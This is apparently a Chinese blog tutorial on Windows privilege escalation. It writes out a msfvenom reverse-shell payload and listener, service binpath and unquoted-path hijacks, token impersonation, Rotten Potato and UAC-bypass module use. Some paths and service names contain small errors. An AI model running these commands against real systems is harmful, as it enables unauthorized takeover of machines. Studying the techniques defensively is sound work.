目录
我们为什么提权呢?
简单来说就是,我们通过web渗透方式将我们的payload传入到了目标机里,但是拿到webshell的权限很低,有些事情是不能做的,所以我们需要进行提权,权限越大,我们做的事情也就越多了;
user-->Administrator-->System
前期准备:
1、生成反向shell payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.26.144 LPORT=5555 -f exe -o user5555.exe
将我们的payload上传到目标机上,并进行监听:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.26.144
lhost => 192.168.26.144
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > exploit
发现我们的权限很小,接下来那就意味这我们要提权。
1、弱服务权限
工具:winPEASany.exe
1.1、检查服务配置错误:进行更改此服务(将我们的后门木马与其进行替换)
winPEASany.exe quiet servicesinfo
1.2、检查下该服务的权限(是否有写的权限,是否有可以启动/停止服务的权限)
使用accesschk.exe
accesschk.exe /accepteula -uwcqv user daclsvc
1.3、检查服务的当前配置:
sc gc daclsvc
1.4、接下来就是重新配置服务,将我们的payload与这个服务进行替换:
sc config daclsvc binpath= "\"C:user5555.exe\""
1.5、开启服务:
net start daclsvc
1.6、使用msf进行监听:
2、未引起的服务路径:
如果启动了某一服务,Windows就会搜索它的二进制文件来运行。要运行的二进制文件的位置在binPath属性中声明。如果该二进制文件没有被引用,Windows就不知道该二进制文件存放在哪里,然后就会在所有文件夹中进行查找。
所以,如果我们想利用这一点,我们需满足三个条件:
-
服务路径未使用双引号;
-
服务路径包含空格;
-
我们有某一中间文件夹的写权限。
例如:
C:\Program Files\Some Dir\SomeProgram.exe
表面来看,这显然运行SomeProgram.exe
对 Windows来说,C:\Program 可能是可执行的,有两个参数:"Files\Some" and "Dir\ SomeProgram.exe"
Windows会根据以下顺序进行查找:
-
C:\Program.exe
-
C:\Program Files\Some.exe
-
C:\Program Files\Some Dir.exe
-
C:\Program Files\Some Dir\SomeProgram.exe
Windows 通过依次检查每个可能性来解决此歧义。
如果我们可以在实际可执行之前攻击 Windows 检查的位置,我们可以欺骗服务执行它。
2.1、运行winPEAS来检查服务配置错误:
winPEASany.exe quiet servicesinfo
2.2、 发现"unquotedsvc"服务有一个未引用的路径 ,其中也 包含 空格:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
2.3 使用sc确认下此问题:
sc qc unquotesvc
2.4、使用accesschk.exe检查写入权限:
accesschk.exe /accepteula -uwdq C:\
accesschk.exe /accepteula -uwdq "C:\Program Files\"
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
2.5、复制可执行的payload
copy C:\user5555.exe "C:\Program Files\Unquoted Path Service\Common.exe"
2.6、开启服务
net start unquotedsvc
2.7、使用msf监听,成功上线,并且权限为system
3、令牌窃取
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。 假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌分类
访问令牌(Access Token): 表示访问控制操作主体的系统对象 会话令牌(Session Token): 交互会话中唯一的身份标识符 密保令牌(Security Token): 又叫做认证令牌或硬件令牌, 是一种计算机身份校验的物理设备,例如U盾
Windows的Access Token有两种类型
Delegation Token: 授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问) Impresonation Token: 模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。
[2]、利用方式
条件:必须为 Administrator 权限
这里我们使用Msf中对应的攻击模块来展示:
meterpreter > use incognito #进入incognito模块
meterpreter > list_tokens -u #列出该会话所对应的令牌
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #选择要盗取的令牌
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
4、烂土豆提权
下载好就是一个potato.exe文件
上面讲了令牌伪造时必须是administor权限才可以,但如果是webshell权限时,可以尝试搭配烂土豆进行提权,操作如下
将烂土豆上传
upload /root/potato.exe
执行potato.exe程序
execute -cH -f ./potato.exe
查看token
use incognito
list_tokens -u
此时如果查找到了system权限的令牌,就说明没啥问题,直接跟上面一样伪造system权限令牌即可
impersonate_token "NT AUTHORITY\\SYSTEM"
注意:IIS网站的webshell成功概率较大
5、DLL劫持引起的提权:
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。
通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、32位系统目录(C:\Windows\System32)
3、16位系统目录(C:\Windows\System)
4、Windows目录 (C:\Windows)
5、当前工作目录(Current Working Directory,CWD)
6、在PATH环境变量的目录(先系统后用户)
6、第三方软件提权——MySQL UDF提权
7、使用msf进行提权:
使用msf提权发现失败了,原因可能是我们的权限太低了,之前我拿到的权限为Administrator ,然后使用getsystem命令是可以提权的。
造成不能提权的原因是UAC的限制:
8、UAC绕过提权:
UAC(User Account Control,用户账号控制) 是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
search bypassuac
这里有很多uac绕过的模块,可以针对一些情况进行选择(这里我也没有去深了解),我用的是:
exploit/windows/local/bypassuac
这里我失败了(在之前我一直用的这个模块),可能这个模块针对这个机器不能攻击成功,换其他的模块试试。
9、使用内核漏洞提权
这个我简单说下,先收集系统的补丁信息(systeminfo),然后通过工具或者提权辅助网页来检测,使用一些已公布的漏洞来进行提权(未打补丁的)。
总结:Windows提权方式还是比较多的,这里我就将自己做的内容写出来了,还有很多利用方式没有去复现,这里我分享下我查阅的资料内容:
Windows本地提权相关的技术总结 - Lonely Blog乍闻“提权”二字或许会令人生畏,但是当你了解了应该需要哪些内容、忽视哪些内容之后,就会变得容易些。提权通常归结为适当的信息收集。本教程主要关注常见的提权技巧及其利用方式。 本教程一开始是一个没有提权的https://blog.wuhao13.xin/1359.html【内网安全】——Windows提权姿势_msf提权windows_白昼安全的博客-优快云博客超详细的windows提权姿势汇总
https://blog.youkuaiyun.com/qq_63844103/article/details/128878183Windows提权_wt.asp_lainwith的博客-优快云博客目录为什么提权Windows提权的常见方法提权的常用命令内核漏洞Vulmap【windows????linux????】wesngWindowsVulnScan(国)在线查询可写目录或文件目录扫描上传cmd本地提权at提权(旧系统)SC提权(旧系统)PSTools系统漏洞提权CVE-2016-3225(MS16-075)漏洞描述漏洞复现漏洞修复CVE-2014-4113 (MS14-058)漏洞描述漏洞复现CVE-2020-0787漏洞描述漏洞复现MSF提权令牌窃取令牌(Token)MSF伪造令牌实战烂土豆
https://blog.youkuaiyun.com/weixin_44288604/article/details/121843678